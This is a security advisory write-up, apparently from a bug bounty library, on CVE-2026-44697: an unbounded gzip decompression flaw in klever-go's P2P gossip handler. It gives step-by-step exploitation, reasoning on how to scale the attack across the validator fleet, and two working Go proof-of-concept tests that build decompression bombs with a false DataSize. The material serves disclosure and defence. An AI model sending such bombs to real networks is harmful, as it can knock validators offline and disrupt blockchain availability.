# Klever-Go MultiDataInterceptor has remote OOM via crafted compressed P2P payload

Unbounded gzip decompression in klever-go Batch.Decompress lets any gossip peer inflate a ~48 KiB payload into 2+ GiB heap, OOM-killing validators.

- Payout: Research
- Severity: high
- Program: Klever-Go
- Found by: fbsobreira
- Disclosed: 2026-05-13
- CVE: CVE-2026-44697
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-87m7-qffr-542v
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-87m7-qffr-542v
- Tags: area:web3 domain:network domain:web3 impact:dos impact:mass-exploit kind:research platform:ghsa sev:high tech:go technique:source-review vuln:dos vuln:memory-corruption

**Target:** P2P gossip message handler (MultiDataInterceptor / Batch.Decompress)
**Root cause:** decompressGzip performs unbounded io.ReadAll on the gzip reader and Batch.Decompress ignores the attacker-supplied DataSize, re-Unmarshaling inflated bytes with no size cap. The count-budget anti-flood check runs only after Decompress completes.
**Steps:**
1. Connect as a peer to a topic served by MultiDataInterceptor.
2. Build a Batch with millions of empty entries, marshal it, gzip the result, and wrap it in an outer Batch with `IsCompressed: true`, `Algo: CType_GZip`, `DataSize: 1` (a lie).
3. Marshal the outer Batch and publish it on the gossip topic; the ~48 KiB wire payload decompresses to 25M entries.
4. Receiver's ProcessReceivedMessage calls `b.Decompress(mdi.marshalizer)` before the count-budget anti-flood check, allocating 2+ GiB heap and OOM-killing the node.
**How found:** Internal security review of core/process/interceptors/multiDataInterceptor.go at commit 405d01b; traced the call path and noticed Decompress runs before the count-budget anti-flood check and that decompressGzip uses unbounded io.ReadAll with no DataSize validation.
**Exploitation:** Any anonymous gossip publisher ships a sub-50 KiB compressed Batch; the receiver's preProcessMessage byte budget only sees compressed size, so the bomb passes. Decompress inflates to multi-GiB heap in <1s per packet. With default 4 MiB/s per-peer budget, ~80 bombs/sec per peer are possible before tripping limits, and the 140-messages-per-interval count limit allows several seconds of attack — enough to OOM-kill before blacklisting. A small set of malicious peers can OOM the validator fleet within one block interval, affecting chain liveness.
**Escalation:** Fleet-wide OOM via a handful of malicious peers; composable with eclipse attacks since cost is paid before peer reputation logic runs.
**Insight:** In gossip/mesh protocols, check the order of operations: if decompression or deserialization happens before the count/size anti-flood gate, the gate is useless because it only sees the compressed wire size. Grep for `io.ReadAll(gzip.NewReader(...))` and verify DataSize fields are enforced, not just advertised.

## Proof of concept (copied exactly from the original report)

**Go test constructing 48 KiB gzip bomb decompressing to 25M entries**

```
func TestC2_DecompressionBomb_ValidInner(t *testing.T) {
	mrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer)
	if err != nil {
		t.Fatalf("marshalizer: %v", err)
	}

	const N = 25_000_000

	innerBatch := &batch.Batch{Data: make([][]byte, N)}
	innerWire, err := mrs.Marshal(innerBatch)
	if err != nil {
		t.Fatalf("inner marshal: %v", err)
	}
	innerBatch = nil
	runtime.GC()

	var compressed bytes.Buffer
	gz := gzip.NewWriter(&compressed)
	if _, err := gz.Write(innerWire); err != nil {
		t.Fatalf("gz write: %v", err)
	}
	if err := gz.Close(); err != nil {
		t.Fatalf("gz close: %v", err)
	}
	innerWireLen := len(innerWire)
	innerWire = nil
	runtime.GC()

	bomb := &batch.Batch{
		IsCompressed: true,
		Algo:         batch.CType_GZip,
		Stream:       compressed.Bytes(),
		DataSize:     1,
	}
	wire, err := mrs.Marshal(bomb)
	if err != nil {
		t.Fatalf("outer marshal: %v", err)
	}
	t.Logf("  inner wire (uncompressed):    %d bytes (%.2f MiB)",
		innerWireLen, float64(innerWireLen)/(1<<20))
	t.Logf("  outer wire (gzip-wrapped):    %d bytes (%.2f KiB)",
		len(wire), float64(len(wire))/1024.0)
	t.Logf("  inner -> outer compression:   %.0fx",
		float64(innerWireLen)/float64(len(wire)))

	bomb = nil
	compressed.Reset()
	runtime.GC()

	received := &batch.Batch{}
	if err := mrs.Unmarshal(received, wire); err != nil {
		t.Fatalf("receiver outer unmarshal: %v", err)
	}

	start := time.Now()
	var decompressErr error
	peak, baseline := peakHeapDuring(func() {
		// Mirrors multiDataInterceptor.go:96 exactly. Runs BEFORE the
		// count-budget anti-flood at line 111.
		decompressErr = received.Decompress(mrs)
	})
	elapsed := time.Since(start)

	allocated := peak - baseline
	amp := float64(allocated) / float64(len(wire))
	t.Logf("  Decompress returned: %v", decompressErr)
	t.Logf("  Decompressed b.Data length: %d (matches N=%d? %v)",
		len(received.Data), N, len(received.Data) == N)
	t.Logf("  peak heap during Decompress: +%d bytes (%.2f MiB)",
		allocated, float64(allocated)/(1<<20))
	t.Logf("  elapsed: %v", elapsed)
	t.Logf("  amplification: %.0fx (wire -> heap)", amp)

	if decompressErr != nil {
		t.Fatalf("Decompress unexpectedly failed: %v", decompressErr)
	}
	if len(received.Data) != N {
		t.Fatalf("inner Unmarshal lost entries: got %d want %d",
			len(received.Data), N)
	}
	if allocated < 256<<20 {
		t.Fatalf("heap delta only %.2f MiB — expected >256 MiB",
			float64(allocated)/(1<<20))
	}
	runtime.KeepAlive(received)
}
```

**Raw-zeros gzip bomb test with lying DataSize**

```
func TestC2_DecompressionBomb_RawZeros(t *testing.T) {
	mrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer)
	if err != nil {
		t.Fatalf("marshalizer: %v", err)
	}

	bombStream := buildGzipOfZeros(t, inflatedSize)

	bomb := &batch.Batch{
		IsCompressed: true,
		Algo:         batch.CType_GZip,
		Stream:       bombStream,
		DataSize:     1, // a lie — Decompress ignores it
	}
	wire, err := mrs.Marshal(bomb)
	if err != nil {
		t.Fatalf("marshal: %v", err)
	}

	t.Logf("  wire payload (after Marshal): %d bytes (%.2f KiB)",
		len(wire), float64(len(wire))/1024.0)
	t.Logf("  advertised DataSize:          %d", bomb.DataSize)
	t.Logf("  actual decompressed size:     %d bytes (%.2f MiB)",
		inflatedSize, float64(inflatedSize)/(1<<20))

	bomb = nil
	bombStream = nil
	runtime.GC()

	received := &batch.Batch{}
	if err := mrs.Unmarshal(received, wire); err != nil {
		t.Fatalf("receiver outer unmarshal: %v", err)
	}
	if !received.IsCompressed {
		t.Fatalf("expected IsCompressed=true after outer unmarshal")
	}

	start := time.Now()
	var decompressErr error
	peak, baseline := peakHeapDuring(func() {
		decompressErr = received.Decompress(mrs)
	})
	elapsed := time.Since(start)

	allocated := peak - baseline
	amp := float64(allocated) / float64(len(wire))
	t.Logf("  Decompress error: %v (irrelevant — heap already allocated)", decompressErr)
	t.Logf("  peak heap during Decompress: +%d bytes (%.2f MiB)",
		allocated, float64(allocated)/(1<<20))
	t.Logf("  elapsed: %v", elapsed)
	t.Logf("  amplification: %.0fx (wire -> heap)", amp)

	if allocated < uint64(inflatedSize/2) {
		t.Fatalf("heap delta only %.2f MiB — vuln may already be patched",
			float64(allocated)/(1<<20))
	}
	if amp < 100 {
		t.Fatalf("amplification only %.1fx — expected >>100x", amp)
	}
}
```

**Command to run the PoC test**

```
go test -v -count=1 -timeout=120s -run TestC2 ./playground/p2pflood/...
```

